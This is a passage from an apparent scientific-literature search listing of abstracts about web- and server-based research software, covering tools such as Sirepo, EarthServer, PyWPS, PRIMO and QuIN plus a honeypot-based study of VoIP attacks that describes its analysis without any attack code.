Nagler, Robert; Moeller, Paul; Rakitin, Maksim

Sirepo is an open source framework for cloud computing. The graphical user interface (GUI) for Sirepo, also known as the client, executes in any HTML5 compliant web browser on any computing platform, including tablets. The client is built in JavaScript, making use of the following open source libraries: Bootstrap, which is fundamental for cross-platform web applications; AngularJS, which provides a model–view–controller (MVC) architecture and GUI components; and D3.js, which provides interactive plots and data-driven transformations. The Sirepo server is built on the following Python technologies: Flask, which is a lightweight framework for web development; Jinja, which is a secure andmore » widely used templating language; and Werkzeug, a utility library that is compliant with the WSGI standard. We use Nginx as the HTTP server and proxy, which provides a scalable event-driven architecture. The physics codes supported by Sirepo execute inside a Docker container. One of the codes supported by Sirepo is the Synchrotron Radiation Workshop (SRW). SRW computes synchrotron radiation from relativistic electrons in arbitrary magnetic fields and propagates the radiation wavefronts through optical beamlines. SRW is open source and is primarily supported by Dr. Oleg Chubar of NSLS-II at Brookhaven National Laboratory.« less

e-Stars Template Builder

NASA Technical Reports Server (NTRS)

Cox, Brian

2003-01-01

e-Stars Template Builder is a computer program that implements a concept of enabling users to rapidly gain access to information on projects of NASA's Jet Propulsion Laboratory. The information about a given project is not stored in a data base, but rather, in a network that follows the project as it develops. e-Stars Template Builder resides on a server computer, using Practical Extraction and Reporting Language (PERL) scripts to create what are called "e-STARS node templates," which are software constructs that allow for project-specific configurations. The software resides on the server and does not require specific software on the user machine except for an Internet browser. A user's computer need not be equipped with special software (other than an Internet-browser program). e-Stars Template Builder is compatible with Windows, Macintosh, and UNIX operating systems. A user invokes e-Stars Template Builder from a browser window. Operations that can be performed by the user include the creation of child processes and the addition of links and descriptions of documentation to existing pages or nodes. By means of this addition of "child processes" of nodes, a network that reflects the development of a project is generated.

Data Acquisition System of Nobeyama MKID Camera

NASA Astrophysics Data System (ADS)

Nagai, M.; Hisamatsu, S.; Zhai, G.; Nitta, T.; Nakai, N.; Kuno, N.; Murayama, Y.; Hattori, S.; Mandal, P.; Sekimoto, Y.; Kiuchi, H.; Noguchi, T.; Matsuo, H.; Dominjon, A.; Sekiguchi, S.; Naruse, M.; Maekawa, J.; Minamidani, T.; Saito, M.

2018-05-01

We are developing a superconducting camera based on microwave kinetic inductance detectors (MKIDs) to observe 100-GHz continuum with the Nobeyama 45-m telescope. A data acquisition (DAQ) system for the camera has been designed to operate the MKIDs with the telescope. This system is required to connect the telescope control system (COSMOS) to the readout system of the MKIDs (MKID DAQ) which employs the frequency-sweeping probe scheme. The DAQ system is also required to record the reference signal of the beam switching for the demodulation by the analysis pipeline in order to suppress the sky fluctuation. The system has to be able to merge and save all data acquired both by the camera and by the telescope, including the cryostat temperature and pressure and the telescope pointing. A collection of software which implements these functions and works as a TCP/IP server on a workstation was developed. The server accepts commands and observation scripts from COSMOS and then issues commands to MKID DAQ to configure and start data acquisition. We made a commissioning of the MKID camera on the Nobeyama 45-m telescope and obtained successful scan signals of the atmosphere and of the Moon.

EarthServer - 3D Visualization on the Web

NASA Astrophysics Data System (ADS)

Wagner, Sebastian; Herzig, Pasquale; Bockholt, Ulrich; Jung, Yvonne; Behr, Johannes

2013-04-01

EarthServer (www.earthserver.eu), funded by the European Commission under its Seventh Framework Program, is a project to enable the management, access and exploration of massive, multi-dimensional datasets using Open GeoSpatial Consortium (OGC) query and processing language standards like WCS 2.0 and WCPS. To this end, a server/client architecture designed to handle Petabyte/Exabyte volumes of multi-dimensional data is being developed and deployed. As an important part of the EarthServer project, six Lighthouse Applications, major scientific data exploitation initiatives, are being established to make cross-domain, Earth Sciences related data repositories available in an open and unified manner, as service endpoints based on solutions and infrastructure developed within the project. Clients technology developed and deployed in EarthServer ranges from mobile and web clients to immersive virtual reality systems, all designed to interact with a physically and logically distributed server infrastructure using exclusively OGC standards. In this contribution, we would like to present our work on a web-based 3D visualization and interaction client for Earth Sciences data using only technology found in standard web browsers without requiring the user to install plugins or addons. Additionally, we are able to run the earth data visualization client on a wide range of different platforms with very different soft- and hardware requirements such as smart phones (e.g. iOS, Android), different desktop systems etc. High-quality, hardware-accelerated visualization of 3D and 4D content in standard web browsers can be realized now and we believe it will become more and more common to use this fast, lightweight and ubiquitous platform to provide insights into big datasets without requiring the user to set up a specialized client first. With that in mind, we will also point out some of the limitations we encountered using current web technologies. Underlying the EarthServer web client and on top of HTML5, WebGL and JavaScript we have developed the X3DOM framework (www.x3dom.org), which makes possible to embed declarative X3D scenegraphs, an ISO standard XML-based file format for representing 3D computer graphics, directly within HTML, thus enabling developers to rapidly design 3D content that blends seamlessly into HTML interfaces using Javascript. This approach (commonly referred to as a polyfill layer) is used to mimic native web browser support for declarative 3D content and is an important component in our web client architecture.

Automatic analysis of attack data from distributed honeypot network

NASA Astrophysics Data System (ADS)

Safarik, Jakub; Voznak, MIroslav; Rezac, Filip; Partila, Pavol; Tomala, Karel

2013-05-01

There are many ways of getting real data about malicious activity in a network. One of them relies on masquerading monitoring servers as a production one. These servers are called honeypots and data about attacks on them brings us valuable information about actual attacks and techniques used by hackers. The article describes distributed topology of honeypots, which was developed with a strong orientation on monitoring of IP telephony traffic. IP telephony servers can be easily exposed to various types of attacks, and without protection, this situation can lead to loss of money and other unpleasant consequences. Using a distributed topology with honeypots placed in different geological locations and networks provides more valuable and independent results. With automatic system of gathering information from all honeypots, it is possible to work with all information on one centralized point. Communication between honeypots and centralized data store use secure SSH tunnels and server communicates only with authorized honeypots. The centralized server also automatically analyses data from each honeypot. Results of this analysis and also other statistical data about malicious activity are simply accessible through a built-in web server. All statistical and analysis reports serve as information basis for an algorithm which classifies different types of used VoIP attacks. The web interface then brings a tool for quick comparison and evaluation of actual attacks in all monitored networks. The article describes both, the honeypots nodes in distributed architecture, which monitor suspicious activity, and also methods and algorithms used on the server side for analysis of gathered data.

Unidata Cyberinfrastructure in the Cloud

NASA Astrophysics Data System (ADS)

Ramamurthy, M. K.; Young, J. W.

2016-12-01

Data services, software, and user support are critical components of geosciences cyber-infrastructure to help researchers to advance science. With the maturity of and significant advances in cloud computing, it has recently emerged as an alternative new paradigm for developing and delivering a broad array of services over the Internet. Cloud computing is now mature enough in usability in many areas of science and education, bringing the benefits of virtualized and elastic remote services to infrastructure, software, computation, and data. Cloud environments reduce the amount of time and money spent to procure, install, and maintain new hardware and software, and reduce costs through resource pooling and shared infrastructure. Given the enormous potential of cloud-based services, Unidata has been moving to augment its software, services, data delivery mechanisms to align with the cloud-computing paradigm. To realize the above vision, Unidata has worked toward: * Providing access to many types of data from a cloud (e.g., via the THREDDS Data Server, RAMADDA and EDEX servers); * Deploying data-proximate tools to easily process, analyze, and visualize those data in a cloud environment cloud for consumption by any one, by any device, from anywhere, at any time; * Developing and providing a range of pre-configured and well-integrated tools and services that can be deployed by any university in their own private or public cloud settings. Specifically, Unidata has developed Docker for "containerized applications", making them easy to deploy. Docker helps to create "disposable" installs and eliminates many configuration challenges. Containerized applications include tools for data transport, access, analysis, and visualization: THREDDS Data Server, Integrated Data Viewer, GEMPAK, Local Data Manager, RAMADDA Data Server, and Python tools; * Leveraging Jupyter as a central platform and hub with its powerful set of interlinking tools to connect interactively data servers, Python scientific libraries, scripts, and workflows; * Exploring end-to-end modeling and prediction capabilities in the cloud; * Partnering with NOAA and public cloud vendors (e.g., Amazon and OCC) on the NOAA Big Data Project to harness their capabilities and resources for the benefit of the academic community.

New implementation of OGC Web Processing Service in Python programming language. PyWPS-4 and issues we are facing with processing of large raster data using OGC WPS

NASA Astrophysics Data System (ADS)

Čepický, Jáchym; Moreira de Sousa, Luís

2016-06-01

The OGC® Web Processing Service (WPS) Interface Standard provides rules for standardizing inputs and outputs (requests and responses) for geospatial processing services, such as polygon overlay. The standard also defines how a client can request the execution of a process, and how the output from the process is handled. It defines an interface that facilitates publishing of geospatial processes and client discovery of processes and and binding to those processes into workflows. Data required by a WPS can be delivered across a network or they can be available at a server. PyWPS was one of the first implementations of OGC WPS on the server side. It is written in the Python programming language and it tries to connect to all existing tools for geospatial data analysis, available on the Python platform. During the last two years, the PyWPS development team has written a new version (called PyWPS-4) completely from scratch. The analysis of large raster datasets poses several technical issues in implementing the WPS standard. The data format has to be defined and validated on the server side and binary data have to be encoded using some numeric representation. Pulling raster data from remote servers introduces security risks, in addition, running several processes in parallel has to be possible, so that system resources are used efficiently while preserving security. Here we discuss these topics and illustrate some of the solutions adopted within the PyWPS implementation.

High Energy Astronomical Data Processing and Analysis via the Internet

NASA Astrophysics Data System (ADS)

Valencic, Lynne A.; Snowden, S.; Pence, W.

2012-01-01

The HEASARC at NASA Goddard Space Flight Center and the US XMM-Newton GOF has developed Hera, a data processing facility for analyzing high energy astronomical data over the internet. Hera provides all the disk space and computing resources needed to do general processing of and advanced research on publicly available data from High Energy Astrophysics missions. The data and data products are kept on a server at GSFC and can be downloaded to a user's local machine. Further, the XMM-GOF has developed scripts to streamline XMM data reduction. These are available through Hera, and can also be downloaded to a user's local machine. These are free services provided to students, educators, and researchers for educational and research purposes.

The AST3 controlling and operating software suite for automatic sky survey

NASA Astrophysics Data System (ADS)

Hu, Yi; Shang, Zhaohui; Ma, Bin; Hu, Keliang

2016-07-01

We have developed a specialized software package, called ast3suite, to achieve the remote control and automatic sky survey for AST3 (Antarctic Survey Telescope) from scratch. It includes several daemon servers and many basic commands. Each program does only one single task, and they work together to make AST3 a robotic telescope. A survey script calls basic commands to carry out automatic sky survey. Ast3suite was carefully tested in Mohe, China in 2013 and has been used at Dome, Antarctica in 2015 and 2016 with the real hardware for practical sky survey. Both test results and practical using showed that ast3suite had worked very well without any manual auxiliary as we expected.

HASP server: a database and structural visualization platform for comparative models of influenza A hemagglutinin proteins.

PubMed

Ambroggio, Xavier I; Dommer, Jennifer; Gopalan, Vivek; Dunham, Eleca J; Taubenberger, Jeffery K; Hurt, Darrell E

2013-06-18

Influenza A viruses possess RNA genomes that mutate frequently in response to immune pressures. The mutations in the hemagglutinin genes are particularly significant, as the hemagglutinin proteins mediate attachment and fusion to host cells, thereby influencing viral pathogenicity and species specificity. Large-scale influenza A genome sequencing efforts have been ongoing to understand past epidemics and pandemics and anticipate future outbreaks. Sequencing efforts thus far have generated nearly 9,000 distinct hemagglutinin amino acid sequences. Comparative models for all publicly available influenza A hemagglutinin protein sequences (8,769 to date) were generated using the Rosetta modeling suite. The C-alpha root mean square deviations between a randomly chosen test set of models and their crystallographic templates were less than 2 Å, suggesting that the modeling protocols yielded high-quality results. The models were compiled into an online resource, the Hemagglutinin Structure Prediction (HASP) server. The HASP server was designed as a scientific tool for researchers to visualize hemagglutinin protein sequences of interest in a three-dimensional context. With a built-in molecular viewer, hemagglutinin models can be compared side-by-side and navigated by a corresponding sequence alignment. The models and alignments can be downloaded for offline use and further analysis. The modeling protocols used in the HASP server scale well for large amounts of sequences and will keep pace with expanded sequencing efforts. The conservative approach to modeling and the intuitive search and visualization interfaces allow researchers to quickly analyze hemagglutinin sequences of interest in the context of the most highly related experimental structures, and allow them to directly compare hemagglutinin sequences to each other simultaneously in their two- and three-dimensional contexts. The models and methodology have shown utility in current research efforts and the ongoing aim of the HASP server is to continue to accelerate influenza A research and have a positive impact on global public health.

An application for delivering field results to mobile devices

NASA Astrophysics Data System (ADS)

Kanta, A.; Hloupis, G.; Vallianatos, F.; Rust, D.

2009-04-01

Mobile devices (MD) such as personal digital assistants (PDAs) and Smartphones expand the ability of Internet communication between remote users. In particular these devices have the possibility to interact with data centres in order to request and receive information. For field surveys MDs used primarily for controlling instruments (in case of field measurements) or for entering data needed for later processing (e.g damage description after a natural hazard). It is not unusual in areas with high interest combined measurements took place. The results from these measurements usually stored in data servers and their publicity is driven mainly by web-based applications. Here we present a client / server application capable of displaying the results of several measurements for a specific area to a MD. More specific, we develop an application than can present to the screen of the MD the results of existing measurements according to the position of the user. The server side hosted at data centre and uses a relational data base (including the results), a SMS/MMS gateway and a receiver daemon application waiting for messages from MDs. The client side runs on MD and is a simple menu driven application which asks the user to enter the type of requested data and the geographical coordinates. In case of embedded GPS receiver, coordinates automatically derived from the receiver. Then a message is sent to server which responds with the results. In case of absence of Internet communication the application can switched to common Short/Multimedia Messaging Systems: the client request data using SMS and the server responds with MMS. We demonstrate the application using results from TEM, VES and HVSR measurements Acknowledgements Work of authors AK, GH and FV is partially supported by the EU-FP6-SSA in the frame of project "CYCLOPS: CYber-Infrastructure for CiviL protection Operative ProcedureS"

Escape Excel: A tool for preventing gene symbol and accession conversion errors

PubMed Central

Stewart, Paul A.; Kuenzi, Brent M.; Eschrich, James A.

2017-01-01

Background Microsoft Excel automatically converts certain gene symbols, database accessions, and other alphanumeric text into dates, scientific notation, and other numerical representations. These conversions lead to subsequent, irreversible, corruption of the imported text. A recent survey of popular genomic literature estimates that one-fifth of all papers with supplementary gene lists suffer from this issue. Results Here, we present an open-source tool, Escape Excel, which prevents these erroneous conversions by generating an escaped text file that can be safely imported into Excel. Escape Excel is implemented in a variety of formats (http://www.github.com/pstew/escape_excel), including a command line based Perl script, a Windows-only Excel Add-In, an OS X drag-and-drop application, a simple web-server, and as a Galaxy web environment interface. Test server implementations are accessible as a Galaxy interface (http://apostl.moffitt.org) and simple non-Galaxy web server (http://apostl.moffitt.org:8000/). Conclusions Escape Excel detects and escapes a wide variety of problematic text strings so that they are not erroneously converted into other representations upon importation into Excel. Examples of problematic strings include date-like strings, time-like strings, leading zeroes in front of numbers, and long numeric and alphanumeric identifiers that should not be automatically converted into scientific notation. It is hoped that greater awareness of these potential data corruption issues, together with diligent escaping of text files prior to importation into Excel, will help to reduce the amount of Excel-corrupted data in scientific analyses and publications. PMID:28953918

Development of new on-line statistical program for the Korean Society for Radiation Oncology

PubMed Central

Song, Si Yeol; Ahn, Seung Do; Chung, Weon Kuu; Choi, Eun Kyung; Cho, Kwan Ho

2015-01-01

Purpose To develop new on-line statistical program for the Korean Society for Radiation Oncology (KOSRO) to collect and extract medical data in radiation oncology more efficiently. Materials and Methods The statistical program is a web-based program. The directory was placed in a sub-folder of the homepage of KOSRO and its web address is http://www.kosro.or.kr/asda. The operating systems server is Linux and the webserver is the Apache HTTP server. For database (DB) server, MySQL is adopted and dedicated scripting language is the PHP. Each ID and password are controlled independently and all screen pages for data input or analysis are made to be friendly to users. Scroll-down menu is actively used for the convenience of user and the consistence of data analysis. Results Year of data is one of top categories and main topics include human resource, equipment, clinical statistics, specialized treatment and research achievement. Each topic or category has several subcategorized topics. Real-time on-line report of analysis is produced immediately after entering each data and the administrator is able to monitor status of data input of each hospital. Backup of data as spread sheets can be accessed by the administrator and be used for academic works by any members of the KOSRO. Conclusion The new on-line statistical program was developed to collect data from nationwide departments of radiation oncology. Intuitive screen and consistent input structure are expected to promote entering data of member hospitals and annual statistics should be a cornerstone of advance in radiation oncology. PMID:26157684

QuIN: A Web Server for Querying and Visualizing Chromatin Interaction Networks.

PubMed

Thibodeau, Asa; Márquez, Eladio J; Luo, Oscar; Ruan, Yijun; Menghi, Francesca; Shin, Dong-Guk; Stitzel, Michael L; Vera-Licona, Paola; Ucar, Duygu

2016-06-01

Recent studies of the human genome have indicated that regulatory elements (e.g. promoters and enhancers) at distal genomic locations can interact with each other via chromatin folding and affect gene expression levels. Genomic technologies for mapping interactions between DNA regions, e.g., ChIA-PET and HiC, can generate genome-wide maps of interactions between regulatory elements. These interaction datasets are important resources to infer distal gene targets of non-coding regulatory elements and to facilitate prioritization of critical loci for important cellular functions. With the increasing diversity and complexity of genomic information and public ontologies, making sense of these datasets demands integrative and easy-to-use software tools. Moreover, network representation of chromatin interaction maps enables effective data visualization, integration, and mining. Currently, there is no software that can take full advantage of network theory approaches for the analysis of chromatin interaction datasets. To fill this gap, we developed a web-based application, QuIN, which enables: 1) building and visualizing chromatin interaction networks, 2) annotating networks with user-provided private and publicly available functional genomics and interaction datasets, 3) querying network components based on gene name or chromosome location, and 4) utilizing network based measures to identify and prioritize critical regulatory targets and their direct and indirect interactions. QuIN's web server is available at http://quin.jax.org QuIN is developed in Java and JavaScript, utilizing an Apache Tomcat web server and MySQL database and the source code is available under the GPLV3 license available on GitHub: https://github.com/UcarLab/QuIN/.

Development of new on-line statistical program for the Korean Society for Radiation Oncology.

PubMed

Song, Si Yeol; Ahn, Seung Do; Chung, Weon Kuu; Shin, Kyung Hwan; Choi, Eun Kyung; Cho, Kwan Ho

2015-06-01

To develop new on-line statistical program for the Korean Society for Radiation Oncology (KOSRO) to collect and extract medical data in radiation oncology more efficiently. The statistical program is a web-based program. The directory was placed in a sub-folder of the homepage of KOSRO and its web address is http://www.kosro.or.kr/asda. The operating systems server is Linux and the webserver is the Apache HTTP server. For database (DB) server, MySQL is adopted and dedicated scripting language is the PHP. Each ID and password are controlled independently and all screen pages for data input or analysis are made to be friendly to users. Scroll-down menu is actively used for the convenience of user and the consistence of data analysis. Year of data is one of top categories and main topics include human resource, equipment, clinical statistics, specialized treatment and research achievement. Each topic or category has several subcategorized topics. Real-time on-line report of analysis is produced immediately after entering each data and the administrator is able to monitor status of data input of each hospital. Backup of data as spread sheets can be accessed by the administrator and be used for academic works by any members of the KOSRO. The new on-line statistical program was developed to collect data from nationwide departments of radiation oncology. Intuitive screen and consistent input structure are expected to promote entering data of member hospitals and annual statistics should be a cornerstone of advance in radiation oncology.

Development of Web GIS for complex processing and visualization of climate geospatial datasets as an integral part of dedicated Virtual Research Environment

NASA Astrophysics Data System (ADS)

Gordov, Evgeny; Okladnikov, Igor; Titov, Alexander

2017-04-01

For comprehensive usage of large geospatial meteorological and climate datasets it is necessary to create a distributed software infrastructure based on the spatial data infrastructure (SDI) approach. Currently, it is generally accepted that the development of client applications as integrated elements of such infrastructure should be based on the usage of modern web and GIS technologies. The paper describes the Web GIS for complex processing and visualization of geospatial (mainly in NetCDF and PostGIS formats) datasets as an integral part of the dedicated Virtual Research Environment for comprehensive study of ongoing and possible future climate change, and analysis of their implications, providing full information and computing support for the study of economic, political and social consequences of global climate change at the global and regional levels. The Web GIS consists of two basic software parts: 1. Server-side part representing PHP applications of the SDI geoportal and realizing the functionality of interaction with computational core backend, WMS/WFS/WPS cartographical services, as well as implementing an open API for browser-based client software. Being the secondary one, this part provides a limited set of procedures accessible via standard HTTP interface. 2. Front-end part representing Web GIS client developed according to a "single page application" technology based on JavaScript libraries OpenLayers (http://openlayers.org/), ExtJS (https://www.sencha.com/products/extjs), GeoExt (http://geoext.org/). It implements application business logic and provides intuitive user interface similar to the interface of such popular desktop GIS applications, as uDIG, QuantumGIS etc. Boundless/OpenGeo architecture was used as a basis for Web-GIS client development. According to general INSPIRE requirements to data visualization Web GIS provides such standard functionality as data overview, image navigation, scrolling, scaling and graphical overlay, displaying map legends and corresponding metadata information. The specialized Web GIS client contains three basic tires: • Tier of NetCDF metadata in JSON format • Middleware tier of JavaScript objects implementing methods to work with: o NetCDF metadata o XML file of selected calculations configuration (XML task) o WMS/WFS/WPS cartographical services • Graphical user interface tier representing JavaScript objects realizing general application business logic Web-GIS developed provides computational processing services launching to support solving tasks in the area of environmental monitoring, as well as presenting calculation results in the form of WMS/WFS cartographical layers in raster (PNG, JPG, GeoTIFF), vector (KML, GML, Shape), and binary (NetCDF) formats. It has shown its effectiveness in the process of solving real climate change research problems and disseminating investigation results in cartographical formats. The work is supported by the Russian Science Foundation grant No 16-19-10257.

PRIMO: An Interactive Homology Modeling Pipeline.

PubMed

Hatherley, Rowan; Brown, David K; Glenister, Michael; Tastan Bishop, Özlem

2016-01-01

The development of automated servers to predict the three-dimensional structure of proteins has seen much progress over the years. These servers make calculations simpler, but largely exclude users from the process. In this study, we present the PRotein Interactive MOdeling (PRIMO) pipeline for homology modeling of protein monomers. The pipeline eases the multi-step modeling process, and reduces the workload required by the user, while still allowing engagement from the user during every step. Default parameters are given for each step, which can either be modified or supplemented with additional external input. PRIMO has been designed for users of varying levels of experience with homology modeling. The pipeline incorporates a user-friendly interface that makes it easy to alter parameters used during modeling. During each stage of the modeling process, the site provides suggestions for novice users to improve the quality of their models. PRIMO provides functionality that allows users to also model ligands and ions in complex with their protein targets. Herein, we assess the accuracy of the fully automated capabilities of the server, including a comparative analysis of the available alignment programs, as well as of the refinement levels used during modeling. The tests presented here demonstrate the reliability of the PRIMO server when producing a large number of protein models. While PRIMO does focus on user involvement in the homology modeling process, the results indicate that in the presence of suitable templates, good quality models can be produced even without user intervention. This gives an idea of the base level accuracy of PRIMO, which users can improve upon by adjusting parameters in their modeling runs. The accuracy of PRIMO's automated scripts is being continuously evaluated by the CAMEO (Continuous Automated Model EvaluatiOn) project. The PRIMO site is free for non-commercial use and can be accessed at https://primo.rubi.ru.ac.za/.

iRODS-Based Climate Data Services and Virtualization-as-a-Service in the NASA Center for Climate Simulation

NASA Astrophysics Data System (ADS)

Schnase, J. L.; Duffy, D. Q.; Tamkin, G. S.; Strong, S.; Ripley, D.; Gill, R.; Sinno, S. S.; Shen, Y.; Carriere, L. E.; Brieger, L.; Moore, R.; Rajasekar, A.; Schroeder, W.; Wan, M.

2011-12-01

Scientific data services are becoming an important part of the NASA Center for Climate Simulation's mission. Our technological response to this expanding role is built around the concept of specialized virtual climate data servers, repetitive cloud provisioning, image-based deployment and distribution, and virtualization-as-a-service. A virtual climate data server is an OAIS-compliant, iRODS-based data server designed to support a particular type of scientific data collection. iRODS is data grid middleware that provides policy-based control over collection-building, managing, querying, accessing, and preserving large scientific data sets. We have developed prototype vCDSs to manage NetCDF, HDF, and GeoTIF data products. We use RPM scripts to build vCDS images in our local computing environment, our local Virtual Machine Environment, NASA's Nebula Cloud Services, and Amazon's Elastic Compute Cloud. Once provisioned into these virtualized resources, multiple vCDSs can use iRODS's federation and realized object capabilities to create an integrated ecosystem of data servers that can scale and adapt to changing requirements. This approach enables platform- or software-as-a-service deployment of the vCDSs and allows the NCCS to offer virtualization-as-a-service, a capacity to respond in an agile way to new customer requests for data services, and a path for migrating existing services into the cloud. We have registered MODIS Atmosphere data products in a vCDS that contains 54 million registered files, 630TB of data, and over 300 million metadata values. We are now assembling IPCC AR5 data into a production vCDS that will provide the platform upon which NCCS's Earth System Grid (ESG) node publishes to the extended science community. In this talk, we describe our approach, experiences, lessons learned, and plans for the future.

PRIMO: An Interactive Homology Modeling Pipeline

PubMed Central

Glenister, Michael

2016-01-01

The development of automated servers to predict the three-dimensional structure of proteins has seen much progress over the years. These servers make calculations simpler, but largely exclude users from the process. In this study, we present the PRotein Interactive MOdeling (PRIMO) pipeline for homology modeling of protein monomers. The pipeline eases the multi-step modeling process, and reduces the workload required by the user, while still allowing engagement from the user during every step. Default parameters are given for each step, which can either be modified or supplemented with additional external input. PRIMO has been designed for users of varying levels of experience with homology modeling. The pipeline incorporates a user-friendly interface that makes it easy to alter parameters used during modeling. During each stage of the modeling process, the site provides suggestions for novice users to improve the quality of their models. PRIMO provides functionality that allows users to also model ligands and ions in complex with their protein targets. Herein, we assess the accuracy of the fully automated capabilities of the server, including a comparative analysis of the available alignment programs, as well as of the refinement levels used during modeling. The tests presented here demonstrate the reliability of the PRIMO server when producing a large number of protein models. While PRIMO does focus on user involvement in the homology modeling process, the results indicate that in the presence of suitable templates, good quality models can be produced even without user intervention. This gives an idea of the base level accuracy of PRIMO, which users can improve upon by adjusting parameters in their modeling runs. The accuracy of PRIMO’s automated scripts is being continuously evaluated by the CAMEO (Continuous Automated Model EvaluatiOn) project. The PRIMO site is free for non-commercial use and can be accessed at https://primo.rubi.ru.ac.za/. PMID:27855192

On-demand rendering of an oblique slice through 3D volumetric data using JPEG2000 client-server framework

NASA Astrophysics Data System (ADS)

Joshi, Rajan L.

2006-03-01

In medical imaging, the popularity of image capture modalities such as multislice CT and MRI is resulting in an exponential increase in the amount of volumetric data that needs to be archived and transmitted. At the same time, the increased data is taxing the interpretation capabilities of radiologists. One of the workflow strategies recommended for radiologists to overcome the data overload is the use of volumetric navigation. This allows the radiologist to seek a series of oblique slices through the data. However, it might be inconvenient for a radiologist to wait until all the slices are transferred from the PACS server to a client, such as a diagnostic workstation. To overcome this problem, we propose a client-server architecture based on JPEG2000 and JPEG2000 Interactive Protocol (JPIP) for rendering oblique slices through 3D volumetric data stored remotely at a server. The client uses the JPIP protocol for obtaining JPEG2000 compressed data from the server on an as needed basis. In JPEG2000, the image pixels are wavelet-transformed and the wavelet coefficients are grouped into precincts. Based on the positioning of the oblique slice, compressed data from only certain precincts is needed to render the slice. The client communicates this information to the server so that the server can transmit only relevant compressed data. We also discuss the use of caching on the client side for further reduction in bandwidth requirements. Finally, we present simulation results to quantify the bandwidth savings for rendering a series of oblique slices.

Talking about human papillomavirus and cancer: protocol for a patient-centred study to develop scripted consultations

PubMed Central

Hendry, Maggie; Pasterfield, Di; Adams, Richard; Evans, Mererid; Fiander, Alison; Robling, Michael; Campbell, Christine; Makin, Matthew; Gollins, Simon; Hiscock, Julia; Nafees, Sadia; Bekkers, Marie-Jet; Rose, Jan; Williams, Olwen; Stanley, Margaret; Wilkinson, Clare

2016-01-01

Introduction Persistent infection with sexually transmitted, high-risk human papillomavirus (HPV) types is the cause of all cervical cancers and some anogenital and oropharyngeal cancers. HPV is an extremely common asymptomatic infection but little known and poorly understood by the public. Patients with HPV-related cancers have new and challenging information needs due to the complex natural history of HPV and the stigma of sexual transmission. They may ask questions that are outside the remit of the traditional cancer consultation, and there is a lack of guidance on how to counsel them. This study aims to fulfil that need by developing and testing cancer site-specific scripted consultations. Methods and analysis A synthesis of findings generated from previous work, a systematic review of information-based interventions for patients with HPV-related cancers, and interviews with cancer clinicians will provide the evidence base underpinning provisional messages. These will be explored in three phases of face-to-face interviews with 75–90 purposively selected patients recruited in cancer clinics to: (1) select and prioritise the most salient messages, (2) phrase the messages appropriately in plain English and, (3) test their acceptability and usefulness. Phases 1 and 2 will draw on card-sorting methods used in website design. In phase three, we will create cancer site-specific versions of the script and test them using cognitive interviewing techniques. Ethics and dissemination The study has received ethical approval. Findings will be published in a peer-reviewed journal. The final product will be cancer-specific scripted consultations, most likely in the form of a two-sided information sheet with the most important messages to be conveyed in a consultation on one side, and frequently asked questions for later reading on the reverse. However, they will also be appropriate and readily adaptable to web-based uses. PMID:27113240

JNSViewer—A JavaScript-based Nucleotide Sequence Viewer for DNA/RNA secondary structures

PubMed Central

Dong, Min; Graham, Mitchell; Yadav, Nehul

2017-01-01

Many tools are available for visualizing RNA or DNA secondary structures, but there is scarce implementation in JavaScript that provides seamless integration with the increasingly popular web computational platforms. We have developed JNSViewer, a highly interactive web service, which is bundled with several popular tools for DNA/RNA secondary structure prediction and can provide precise and interactive correspondence among nucleotides, dot-bracket data, secondary structure graphs, and genic annotations. In JNSViewer, users can perform RNA secondary structure predictions with different programs and settings, add customized genic annotations in GFF format to structure graphs, search for specific linear motifs, and extract relevant structure graphs of sub-sequences. JNSViewer also allows users to choose a transcript or specific segment of Arabidopsis thaliana genome sequences and predict the corresponding secondary structure. Popular genome browsers (i.e., JBrowse and BrowserGenome) were integrated into JNSViewer to provide powerful visualizations of chromosomal locations, genic annotations, and secondary structures. In addition, we used StructureFold with default settings to predict some RNA structures for Arabidopsis by incorporating in vivo high-throughput RNA structure profiling data and stored the results in our web server, which might be a useful resource for RNA secondary structure studies in plants. JNSViewer is available at http://bioinfolab.miamioh.edu/jnsviewer/index.html. PMID:28582416

Development of a user-friendly system for image processing of electron microscopy by integrating a web browser and PIONE with Eos.

PubMed

Tsukamoto, Takafumi; Yasunaga, Takuo

2014-11-01

Eos (Extensible object-oriented system) is one of the powerful applications for image processing of electron micrographs. In usual cases, Eos works with only character user interfaces (CUI) under the operating systems (OS) such as OS-X or Linux, not user-friendly. Thus, users of Eos need to be expert at image processing of electron micrographs, and have a little knowledge of computer science, as well. However, all the persons who require Eos does not an expert for CUI. Thus we extended Eos to a web system independent of OS with graphical user interfaces (GUI) by integrating web browser.Advantage to use web browser is not only to extend Eos with GUI, but also extend Eos to work under distributed computational environment. Using Ajax (Asynchronous JavaScript and XML) technology, we implemented more comfortable user-interface on web browser. Eos has more than 400 commands related to image processing for electron microscopy, and the usage of each command is different from each other. Since the beginning of development, Eos has managed their user-interface by using the interface definition file of "OptionControlFile" written in CSV (Comma-Separated Value) format, i.e., Each command has "OptionControlFile", which notes information for interface and its usage generation. Developed GUI system called "Zephyr" (Zone for Easy Processing of HYpermedia Resources) also accessed "OptionControlFIle" and produced a web user-interface automatically, because its mechanism is mature and convenient,The basic actions of client side system was implemented properly and can supply auto-generation of web-form, which has functions of execution, image preview, file-uploading to a web server. Thus the system can execute Eos commands with unique options for each commands, and process image analysis. There remain problems of image file format for visualization and workspace for analysis: The image file format information is useful to check whether the input/output file is correct and we also need to provide common workspace for analysis because the client is physically separated from a server. We solved the file format problem by extension of rules of OptionControlFile of Eos. Furthermore, to solve workspace problems, we have developed two type of system. The first system is to use only local environments. The user runs a web server provided by Eos, access to a web client through a web browser, and manipulate the local files with GUI on the web browser. The second system is employing PIONE (Process-rule for Input/Output Negotiation Environment), which is our developing platform that works under heterogenic distributed environment. The users can put their resources, such as microscopic images, text files and so on, into the server-side environment supported by PIONE, and so experts can write PIONE rule definition, which defines a workflow of image processing. PIONE run each image processing on suitable computers, following the defined rule. PIONE has the ability of interactive manipulation, and user is able to try a command with various setting values. In this situation, we contribute to auto-generation of GUI for a PIONE workflow.As advanced functions, we have developed a module to log user actions. The logs include information such as setting values in image processing, procedure of commands and so on. If we use the logs effectively, we can get a lot of advantages. For example, when an expert may discover some know-how of image processing, other users can also share logs including his know-hows and so we may obtain recommendation workflow of image analysis, if we analyze logs. To implement social platform of image processing for electron microscopists, we have developed system infrastructure, as well. © The Author 2014. Published by Oxford University Press on behalf of The Japanese Society of Microscopy. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com.

Modules based on the geochemical model PHREEQC for use in scripting and programming languages

USGS Publications Warehouse

Charlton, S.R.; Parkhurst, D.L.

2011-01-01

